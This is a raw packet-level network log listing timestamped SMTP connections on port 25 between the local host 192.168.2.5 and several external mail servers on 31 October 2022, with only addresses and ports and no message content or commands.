Oct 31, 2022 12:20:46.458051920 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458090067 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458132029 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458213091 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458250046 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458336115 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458372116 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458450079 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.458494902 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.484639883 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.486581087 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.487236977 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.487315893 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.487333059 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.487374067 CET	50076	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:46.514264107 CET	25	50076	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:46.564203024 CET	50078	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:46.624147892 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.624507904 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.659594059 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.660028934 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.660356045 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.661623001 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.695441961 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.695501089 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.695532084 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.695559978 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.695612907 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.695612907 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.695791006 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.695875883 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.695909023 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.695972919 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.700328112 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.700428963 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.718673944 CET	25	50078	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:46.718765974 CET	50078	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:46.729324102 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729351997 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729367018 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729378939 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729393959 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729408979 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729420900 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729445934 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.729517937 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.729558945 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729571104 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729583025 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729594946 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729605913 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729610920 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.729660988 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.729731083 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729742050 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729748964 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729792118 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729804039 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.729871988 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.734131098 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.734153032 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764153004 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764185905 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764204979 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764224052 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764240980 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764256954 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764271975 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764290094 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764306068 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764322996 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764338970 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764357090 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764354944 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.764375925 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764394045 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764410973 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764427900 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764446020 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.764462948 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.798122883 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.800885916 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.800959110 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:46.801100016 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.801151037 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:46.825207949 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:47.029510021 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.029678106 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:47.104490042 CET	50077	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:47.138544083 CET	25	50077	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:47.265093088 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.265414000 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:47.469489098 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.503771067 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.504121065 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:47.713625908 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.738517046 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.738810062 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:47.947673082 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.991509914 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:47.991755962 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.196124077 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.226380110 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.226695061 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.228362083 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.432861090 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.432888031 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.432899952 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.432914019 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.433103085 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.637271881 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637296915 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637310028 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637321949 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637341976 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637353897 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637418032 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.637506008 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.637952089 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637967110 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637979031 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.637990952 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841468096 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841496944 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841511011 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841523886 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841933012 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841948986 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841962099 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841974020 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.841985941 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.877979994 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.878007889 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:48.878176928 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.955245018 CET	50079	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:48.982117891 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:49.159485102 CET	25	50079	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:49.345947027 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:49.347291946 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:49.594063044 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:49.595174074 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:49.651549101 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:49.653384924 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:49.749747992 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:49.749778032 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:49.750103951 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:49.751822948 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:49.876888990 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:49.877264977 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:49.906387091 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:49.906414032 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:49.906426907 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:49.906676054 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:50.062401056 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.062438965 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.062453985 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.062465906 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.062660933 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:50.062736988 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:50.217281103 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.217319012 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.217444897 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.217648983 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:50.241008043 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:50.409085989 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:50.409527063 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:50.773207903 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:50.938250065 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:50.982523918 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:50.987082005 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:50.996129990 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:50.997196913 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.051856041 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:51.056963921 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:51.101442099 CET	25	50081	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:51.101638079 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:51.144131899 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.147367954 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:51.147489071 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.177706003 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.177839041 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.211831093 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:51.212168932 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:51.212481976 CET	25	49854	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:51.212589979 CET	49854	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:51.220094919 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.225244999 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.234312057 CET	25	50081	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:51.234642029 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:51.244859934 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.258671999 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.267803907 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.268007040 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.306982994 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.309710026 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.320065022 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:51.340399027 CET	25	50081	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:51.346610069 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.346779108 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.346853018 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:51.350831985 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:51.384748936 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.389822006 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:51.389923096 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.452946901 CET	25	50081	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:51.493324041 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:51.495520115 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:51.507683992 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.534744978 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:51.542598963 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.549675941 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:51.549875021 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.589375973 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:51.589725018 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.794919014 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.795047045 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:51.795180082 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.795327902 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.795449972 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:51.829031944 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.837378979 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.850806952 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.852170944 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.885874987 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.885993004 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.886066914 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.886184931 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.886188030 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.886226892 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.886256933 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.886295080 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.886295080 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.886359930 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.891797066 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.891957998 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.901516914 CET	25	50081	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:51.901634932 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:51.919855118 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.919924021 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920075893 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920125008 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920154095 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920155048 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920171022 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920217991 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920259953 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920267105 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920267105 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920304060 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920335054 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920335054 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920346022 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920381069 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920442104 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920486927 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920517921 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920531988 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:51.920545101 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920572996 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920599937 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920627117 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920653105 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.920681953 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.925417900 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.925457954 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.941323996 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:51.943434000 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:51.954248905 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954299927 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954328060 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954359055 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954389095 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954417944 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954446077 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954474926 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954503059 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954530954 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.954593897 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.955070019 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.955106020 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.955132961 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.955159903 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.955185890 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.955213070 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.955241919 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:51.969332933 CET	50082	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.969461918 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:51.970143080 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:52.003777027 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:52.004076004 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:52.006609917 CET	25	50081	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:52.007755995 CET	25	50081	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:52.007869959 CET	50081	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:52.037712097 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:52.113985062 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:52.114222050 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:52.156814098 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:52.158063889 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:52.158124924 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:52.158597946 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:52.159183979 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.175282955 CET	50083	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:52.208463907 CET	25	50083	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:52.210726976 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:52.238111019 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:52.238320112 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:52.267159939 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:52.300713062 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:52.302618027 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:52.324107885 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.329896927 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:52.333496094 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:52.343683004 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.344907045 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.370122910 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:52.397802114 CET	25	50085	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:52.448736906 CET	50085	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:52.626719952 CET	25	50084	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:52.647113085 CET	25	50082	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:52.669506073 CET	50084	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:52.707560062 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708463907 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708501101 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708530903 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708568096 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708643913 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708643913 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708643913 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708658934 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708695889 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708725929 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708753109 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708781958 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708787918 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708811998 CET	25	50080	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:52.708853960 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708853960 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708853960 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708882093 CET	50080	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:52.708882093 CET	50080	25	192.168.2.5	74.125.200.26
